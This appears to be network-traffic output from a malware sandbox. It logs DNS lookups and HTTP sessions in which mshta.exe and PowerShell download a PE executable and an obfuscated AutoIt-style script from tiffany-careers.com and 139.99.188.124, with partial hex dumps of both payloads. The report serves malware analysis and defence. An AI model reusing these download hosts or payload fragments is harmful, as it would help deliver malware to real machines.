                                                                                                                                                                          Dec 23, 2024 08:40:36.289005995 CET192.168.2.91.1.1.10xdd47Standard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:15.569257975 CET192.168.2.91.1.1.10xed83Standard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
                                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                          Dec 23, 2024 08:39:42.099766970 CET1.1.1.1192.168.2.90x10dfNo error (0)shed.dual-low.s-part-0035.t-0009.t-msedge.nets-part-0035.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:39:42.099766970 CET1.1.1.1192.168.2.90x10dfNo error (0)s-part-0035.t-0009.t-msedge.net13.107.246.63A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:39:50.960336924 CET1.1.1.1192.168.2.90x9a4dNo error (0)tiffany-careers.com147.45.49.155A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:01.779875994 CET1.1.1.1192.168.2.90xf141No error (0)bingadsedgeextension-prod-europe.azurewebsites.netssl.bingadsedgeextension-prod-europe.azurewebsites.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:01.779875994 CET1.1.1.1192.168.2.90xf141No error (0)ssl.bingadsedgeextension-prod-europe.azurewebsites.net94.245.104.56A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:01.953325033 CET1.1.1.1192.168.2.90xa73cNo error (0)bingadsedgeextension-prod-europe.azurewebsites.netssl.bingadsedgeextension-prod-europe.azurewebsites.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:03.928653955 CET1.1.1.1192.168.2.90xc54aNo error (0)bzib.nelreports.netbzib.nelreports.net.akamaized.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:03.945538044 CET1.1.1.1192.168.2.90x4871No error (0)bzib.nelreports.netbzib.nelreports.net.akamaized.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.269700050 CET1.1.1.1192.168.2.90x4b93No error (0)clients2.googleusercontent.comgooglehosted.l.googleusercontent.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.269700050 CET1.1.1.1192.168.2.90x4b93No error (0)googlehosted.l.googleusercontent.com172.217.17.65A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.270452976 CET1.1.1.1192.168.2.90x8584No error (0)clients2.googleusercontent.comgooglehosted.l.googleusercontent.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.407108068 CET1.1.1.1192.168.2.90xa4eNo error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.407108068 CET1.1.1.1192.168.2.90xa4eNo error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.409781933 CET1.1.1.1192.168.2.90x3928No error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.410234928 CET1.1.1.1192.168.2.90x140fNo error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.410264015 CET1.1.1.1192.168.2.90xd7c2No error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.410264015 CET1.1.1.1192.168.2.90xd7c2No error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.447922945 CET1.1.1.1192.168.2.90x8690No error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.447922945 CET1.1.1.1192.168.2.90x8690No error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:06.448329926 CET1.1.1.1192.168.2.90xb8faNo error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:19.432116985 CET1.1.1.1192.168.2.90xa3cbName error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:40:36.426666975 CET1.1.1.1192.168.2.90xdd47Name error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:03.658572912 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:03.658572912 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:04.658006907 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:04.658006907 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:05.680377960 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:05.680377960 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:07.695518970 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:07.695518970 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:11.689193964 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:11.689193964 CET1.1.1.1192.168.2.90x488dNo error (0)fg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                                                                                                                          Dec 23, 2024 08:41:15.706697941 CET1.1.1.1192.168.2.90xed83Name error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                          • tiffany-careers.com
                                                                                                                                                                          • chrome.cloudflare-dns.com
                                                                                                                                                                          • clients2.googleusercontent.com
                                                                                                                                                                          • 139.99.188.124
                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          0192.168.2.949780139.99.188.124807680C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          Dec 23, 2024 08:40:06.729788065 CET164OUTGET /kiiMf HTTP/1.1
                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                                                                                          Host: 139.99.188.124
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          Dec 23, 2024 08:40:08.231071949 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                          Date: Mon, 23 Dec 2024 07:40:07 GMT
                                                                                                                                                                          Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                                                                                                                                          Last-Modified: Sun, 15 Dec 2024 10:29:42 GMT
                                                                                                                                                                          ETag: "da2a8-6294c8abc9816"
                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                          Content-Length: 893608
                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 [TRUNCATED]
                                                                                                                                                                          Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDR*R*R*CP*S*_@a*_@*_@g*[j[*[jw*R+r**S*_@S*RP*S*RichR*PEL_pZ"@@@@|Ppq; [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
                                                                                                                                                                          Dec 23, 2024 08:40:08.231163979 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 61 4c 00
                                                                                                                                                                          Data Ascii: DaLhC\YLhCKYNhC:YhC.Y<ChCYhCYQ>hCYsLQ@sLP9hCYGhC
                                                                                                                                                                          Dec 23, 2024 08:40:08.231184006 CET1236INData Raw: 46 04 59 83 24 b8 00 47 3b 7e 08 72 e7 ff 76 04 83 66 08 00 e8 bc fb 01 00 59 5f 5e c3 56 8b f1 57 8b 4e 78 85 c9 75 59 8b 46 7c 83 f8 0b 0f 8f 2a a4 03 00 0f 84 0a a4 03 00 83 e8 05 74 4e 83 e8 03 0f 84 df a3 03 00 48 48 0f 84 bd a3 03 00 83 66
                                                                                                                                                                          Data Ascii: FY$G;~rvfY_^VWNxuYF|*tNHHfpNTF|N$NV\Y_^QfxNptQ,SV3WN~^^^N$NT^4^8^<^@^D~H~L^P^d^h^p^x
                                                                                                                                                                          Dec 23, 2024 08:40:08.231372118 CET1236INData Raw: 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d 86 10 08 00 00 03 c3 50 8d 43 02 8d 04 c6 50 57 ff 15 24 01 49 00 8b 76 04 85 f6 75 8d ff
                                                                                                                                                                          Data Ascii: EUM8sS@EU;FE|F;t+PPCPW$IvuuW_^[];t +QPCPW$IEUMtDuLMtuWzME8tM@tEujPQWEUM#E
                                                                                                                                                                          Dec 23, 2024 08:40:08.231401920 CET1236INData Raw: 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f
                                                                                                                                                                          Data Ascii: ~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVItIIhQQVCj~jwQHjUVW
                                                                                                                                                                          Dec 23, 2024 08:40:08.231417894 CET1236INData Raw: 0f 85 55 9c 03 00 5f 5e 5b 8b e5 5d c2 0c 00 8b 7d 0c 66 8b 46 58 80 bf 90 00 00 00 07 66 89 87 88 00 00 00 66 8b 46 5c 66 89 87 8a 00 00 00 74 5f 66 8b 46 60 66 89 87 8c 00 00 00 66 8b 46 64 66 89 87 8e 00 00 00 8d 45 dc 50 ff 37 ff 15 34 06 49
                                                                                                                                                                          Data Ascii: U_^[]}fFXffF\ft_fF`ffFdfEP74I9^Xt=9^\tEEP7I9^`9^d{}tfEffEfUwLMEtAXEtA\E~A`E~Ad]
                                                                                                                                                                          Dec 23, 2024 08:40:08.231436014 CET1236INData Raw: 8b 4d 08 56 57 85 c9 0f 88 9e 9b 03 00 83 f9 03 7c 50 3b 8a 84 00 00 00 7f 48 8b 42 74 8b 04 88 8b 00 85 c0 74 3c 8b 75 10 8b 40 04 89 0e 8b 4d 0c 89 01 8b c8 8b 42 60 8b 04 88 83 38 00 74 22 8b 0e 83 f9 03 7c 1b 3b 8a 84 00 00 00 7f 13 8b 42 74
                                                                                                                                                                          Data Ascii: MVW|P;HBtt<u@MB`8t"|;Bt8t_^]2UVW};FttQ?Ft ;u?|Ft8uO}NxNxFt4FtYNx$~xvNxFtD
                                                                                                                                                                          Dec 23, 2024 08:40:08.231667995 CET1236INData Raw: f8 89 45 0c 83 7d 20 ff 75 46 6a 00 8d 45 e8 50 6a 00 6a 30 ff 15 40 07 49 00 6a 08 ff 15 58 05 49 00 8b 4d ec 2b 4d 18 03 4d f4 2b c8 8b c1 99 2b c2 d1 f8 89 45 20 f7 c3 00 00 40 00 74 11 6a 04 ff 15 58 05 49 00 6a fe 99 59 f7 f9 01 45 20 ff 75
                                                                                                                                                                          Data Ascii: E} uFjEPjj0@IjXIM+MM++E @tjXIjYE uEujjPIuEjSPIE+Ej5xLju$PE+EPu uSuhIu IVjPIE$GEG<E G@EP74IE+EGDE+EjjGH
                                                                                                                                                                          Dec 23, 2024 08:40:08.231684923 CET1236INData Raw: 00 50 66 a1 b8 77 4c 00 66 89 86 86 00 00 00 8b 55 1c 8b 45 10 8b 4d 14 8b 7d 18 89 55 fc 8b 55 28 83 e2 02 89 45 ec 89 4d f0 89 7d f8 89 55 d8 0f 85 28 9b 03 00 53 ff 75 1c 57 51 50 e8 f4 f1 ff ff 8b 7b 60 8b 43 58 8b 4b 5c 89 7d f8 8b 7b 64 89
                                                                                                                                                                          Data Ascii: PfwLfUEM}UU(EM}U(SuWQP{`CXK\}{dEM}U}E$2@u$u uuuuWVSUM(xLHxL=DxL}ujVS4{Pu1{T
                                                                                                                                                                          Dec 23, 2024 08:40:08.231703043 CET1236INData Raw: 39 4d 08 7e 46 6a 30 5a 85 ff 78 3f 8b 45 f4 0f b7 04 78 83 f8 39 77 41 66 3b c2 72 3c 2b c2 51 53 99 52 50 e8 64 2b 03 00 01 06 8b 4d fc 11 56 04 4f 8b 45 f8 0f a4 d9 04 6a 30 c1 e3 04 40 89 4d fc 89 45 f8 5a 3b 45 08 7c bd 83 ff ff 75 20 b0 01
                                                                                                                                                                          Data Ascii: 9M~Fj0Zx?Ex9wAf;r<+QSRPd+MVOEj0@MEZ;E|u _^[]AF7&f2V~t~Wu~F_N^NytQ~FyuyA@t@yuyAt@UV~u
                                                                                                                                                                          Dec 23, 2024 08:40:08.350790024 CET1236INData Raw: 83 66 04 00 eb df 33 f6 eb e5 55 8b ec 56 8b 75 08 57 8b f9 85 f6 74 54 83 7e 18 00 74 08 ff 76 18 e8 e4 ff ff ff 83 7e 1c 00 75 46 80 7e 10 00 75 15 8b 7e 14 85 ff 74 0e 8b cf e8 29 16 00 00 57 e8 ef d4 01 00 59 8b 46 0c ff 08 8b 46 0c 83 38 00
                                                                                                                                                                          Data Ascii: f3UVuWtT~tv~uF~u~t)WYFF8u6vYYVY_^]vUQS]VuWM)!_^[]U}tDVW}EPWPuV#yNOwf_^]~FGwfE`


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          1192.168.2.949813139.99.188.124808348C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          Dec 23, 2024 08:40:11.878057957 CET76OUTGET /QWCheljD.txt HTTP/1.1
                                                                                                                                                                          Host: 139.99.188.124
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          Dec 23, 2024 08:40:13.384968996 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                          Date: Mon, 23 Dec 2024 07:40:12 GMT
                                                                                                                                                                          Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                                                                                                                                          Last-Modified: Sun, 15 Dec 2024 10:29:42 GMT
                                                                                                                                                                          ETag: "12ec22-6294c8abc8478"
                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                          Content-Length: 1240098
                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          Content-Type: text/plain
                                                                                                                                                                          Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 4f 64 48 42 74 20 3d 20 32 38 20 54 6f 20 38 36 35 0a 49 66 20 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 32 20 54 68 65 6e 0a 53 71 72 74 28 37 39 35 35 29 0a 46 69 6c 65 45 78 69 73 74 73 28 [TRUNCATED]
                                                                                                                                                                          Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $OdHBt = 28 To 865If $VerifiedUnderstoodValidation = 32 ThenSqrt(7955)FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUnderstoodValidation = 33 ThenConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5))DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2))Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUndersto
                                                                                                                                                                          Dec 23, 2024 08:40:13.385013103 CET1236INData Raw: 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 20 54 68 65 6e 0a 24 4e 75 74 74 65 6e 49 6e 76 65 73 74 6f 72 73 52 61 6c 65 69 67 68 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 30 34 5d 31 31 33 5d 31 30 35 5d 38 36 5d 38 35 5d 39 36 5d 38
                                                                                                                                                                          Data Ascii: odValidation = 34 Then$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]83]73]78]127]105]97]79]105]77",28/4))ExitLoopEndIfNext$LAYERSSTRICTINNOVATIVE = '66150718350940696046327902621'$DmModsQueries = 68$DRESSDEARANTIQUES = 93Wh
                                                                                                                                                                          Dec 23, 2024 08:40:13.385030985 CET448INData Raw: 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 3d 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61
                                                                                                                                                                          Data Ascii: lLibrarianSpiritU = $TheoreticalLibrarianSpiritU + 1EndIfIf $TheoreticalLibrarianSpiritU = 18 Then$locateheadquarterssuccessfully = PixelGetColor(Wales("82]124]123]88]85]72]105]73]102]127]126]82]119",5/1), Wales("82]124]123]88]85]72]105]73]
                                                                                                                                                                          Dec 23, 2024 08:40:13.385062933 CET1236INData Raw: 29 0a 43 6f 6e 73 6f 6c 65 57 72 69 74 65 45 72 72 6f 72 28 57 61 6c 65 73 28 22 38 35 5d 31 31 33 5d 31 32 32 5d 31 30 35 5d 31 30 37 5d 31 31 36 5d 31 30 39 5d 35 31 5d 39 35 5d 31 30 39 5d 31 30 35 5d 31 32 30 5d 31 31 39 5d 31 31 38 5d 35 31
                                                                                                                                                                          Data Ascii: )ConsoleWriteError(Wales("85]113]122]105]107]116]109]51]95]109]105]120]119]118]51",64/8))$HOLDEMOLDSIGMA = $HOLDEMOLDSIGMA + 1EndIfIf $HOLDEMOLDSIGMA = 67 Then$IntendComputersArea = PixelGetColor(90, 215, 0)ExitLoopEndIfIf $HOLDEMOLDSI
                                                                                                                                                                          Dec 23, 2024 08:40:13.385071039 CET1236INData Raw: 5d 39 35 5d 38 33 5d 31 30 32 5d 31 31 39 5d 31 30 36 5d 31 31 36 5d 31 30 36 5d 31 31 32 5d 31 31 31 5d 31 31 36 5d 39 35 22 2c 38 2f 38 29 29 0a 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 3d 20 24 6d 69 73 73 69 6f 6e 73 67 72
                                                                                                                                                                          Data Ascii: ]95]83]102]119]106]116]106]112]111]116]95",8/8))$missionsgreenhouse = $missionsgreenhouse + 1EndIfNext$soundsfarswitchsufficiently = '1764830625190115630455157117955314553809907711398'$SCALESWXETHNICOMAHA = 79$eosroutestreasury = 78For
                                                                                                                                                                          Dec 23, 2024 08:40:13.385080099 CET1236INData Raw: 5d 31 32 34 5d 39 35 5d 38 35 5d 31 30 39 5d 38 35 5d 31 31 38 5d 37 38 5d 31 32 38 5d 37 33 5d 31 32 39 5d 37 35 5d 31 31 37 5d 39 36 22 2c 32 34 2f 33 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 44 49 4c 44 4f 53 59 49 45
                                                                                                                                                                          Data Ascii: ]124]95]85]109]85]118]78]128]73]129]75]117]96",24/3))ExitLoopEndIfIf $DILDOSYIELDSFAREADDRESSED = 37 ThenConsoleWriteError(Wales("85]81]84]86]96]89]67]73]71]85]96]69]78]67]87]85]71]96]86]67]78]71]85]96",12/6))PixelGetColor(Wales("128]108]
                                                                                                                                                                          Dec 23, 2024 08:40:13.385088921 CET1236INData Raw: 4c 65 73 73 50 68 6f 6e 65 20 2b 20 31 0a 45 6e 64 49 66 0a 57 45 6e 64 0a 24 54 6f 6e 79 54 72 65 61 73 75 72 65 73 45 76 61 6c 75 61 74 69 6e 67 20 3d 20 27 39 35 37 39 30 37 32 38 39 34 31 39 33 37 31 37 34 32 38 33 39 31 39 34 35 34 32 35 37
                                                                                                                                                                          Data Ascii: LessPhone + 1EndIfWEnd$TonyTreasuresEvaluating = '957907289419371742839194542570574875273050762245784821196346572'$InterestedDieDocs = 28$RenewalTissueBarn = 79While 761If $InterestedDieDocs = 27 ThenFileExists(Wales("76]81]75]77]55]88
                                                                                                                                                                          Dec 23, 2024 08:40:13.385420084 CET1236INData Raw: 6d 65 6e 74 20 3d 20 27 30 30 38 33 30 38 32 36 32 34 30 32 31 31 27 0a 24 41 63 74 72 65 73 73 47 6f 6e 65 4c 69 63 65 6e 73 65 20 3d 20 32 31 0a 24 68 61 73 70 6c 69 74 77 69 72 65 64 73 6c 65 65 70 73 20 3d 20 38 34 0a 57 68 69 6c 65 20 33 34
                                                                                                                                                                          Data Ascii: ment = '00830826240211'$ActressGoneLicense = 21$hasplitwiredsleeps = 84While 345If $ActressGoneLicense = 19 ThenDriveStatus(Wales("73]118]119]124]112]109]122]55]91]112]119]119]124]55]88]119]123]113]118]111]55",40/5))DriveStatus(Wales("86
                                                                                                                                                                          Dec 23, 2024 08:40:13.385437965 CET1236INData Raw: 3d 20 38 32 0a 46 6f 72 20 24 5a 6d 64 43 58 64 77 20 3d 20 39 34 20 54 6f 20 36 38 30 0a 49 66 20 24 49 6c 6c 6e 65 73 73 46 6f 6c 6b 20 3d 20 36 20 54 68 65 6e 0a 41 54 61 6e 28 38 36 32 38 29 0a 46 69 6c 65 45 78 69 73 74 73 28 57 61 6c 65 73
                                                                                                                                                                          Data Ascii: = 82For $ZmdCXdw = 94 To 680If $IllnessFolk = 6 ThenATan(8628)FileExists(Wales("68]118]113]116]62",1/1))Sqrt(7932)$IllnessFolk = $IllnessFolk + 1EndIfIf $IllnessFolk = 7 ThenChr(4337)ConsoleWriteError(Wales("76]71]100]78]71]95]100]90
                                                                                                                                                                          Dec 23, 2024 08:40:13.385446072 CET1236INData Raw: 49 6e 63 6f 72 70 6f 72 61 74 65 64 48 6f 75 72 20 3d 20 38 31 20 54 68 65 6e 0a 24 53 74 61 72 74 73 45 71 75 69 74 79 49 6e 63 75 72 72 65 64 4c 61 79 6f 75 74 20 3d 20 38 38 0a 24 41 44 41 50 54 49 56 45 47 52 41 50 48 49 43 46 41 4d 45 47 41
                                                                                                                                                                          Data Ascii: IncorporatedHour = 81 Then$StartsEquityIncurredLayout = 88$ADAPTIVEGRAPHICFAMEGAUGE = 98For $UcgR = 62 To 786If $StartsEquityIncurredLayout = 87 ThenPixelGetColor(Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]91]91]82]76]74
                                                                                                                                                                          Dec 23, 2024 08:40:13.505316019 CET1236INData Raw: 20 35 34 20 54 68 65 6e 0a 45 78 70 28 35 34 34 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 32 38 2c 20 37 38 39 2c 20 30 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 39 37 2c 20 32 35 38 2c 20 30 29 0a 24 52 45 43 4f 4d 4d 45 4e 44 45 44
                                                                                                                                                                          Data Ascii: 54 ThenExp(544)PixelGetColor(28, 789, 0)PixelGetColor(97, 258, 0)$RECOMMENDEDDOCUMENTED = $RECOMMENDEDDOCUMENTED + 1EndIfIf $RECOMMENDEDDOCUMENTED = 55 ThenDec(Wales("84]81]73]74]84]77]69]90]77]93]86]81]87]86]69]74]81]79]79]77]91]92]69


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          0192.168.2.949722147.45.49.1554432764C:\Windows\System32\mshta.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:39:52 UTC340OUTGET /HA_19-12NGHEP_anh HTTP/1.1
                                                                                                                                                                          Accept: */*
                                                                                                                                                                          Accept-Language: en-CH
                                                                                                                                                                          UA-CPU: AMD64
                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                          Host: tiffany-careers.com
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          2024-12-23 07:39:53 UTC396INHTTP/1.1 200 OK
                                                                                                                                                                          etag: "12fc6-6763dcdf-23c31;;;"
                                                                                                                                                                          last-modified: Thu, 19 Dec 2024 08:44:15 GMT
                                                                                                                                                                          content-length: 77766
                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                          date: Mon, 23 Dec 2024 07:39:52 GMT
                                                                                                                                                                          server: LiteSpeed
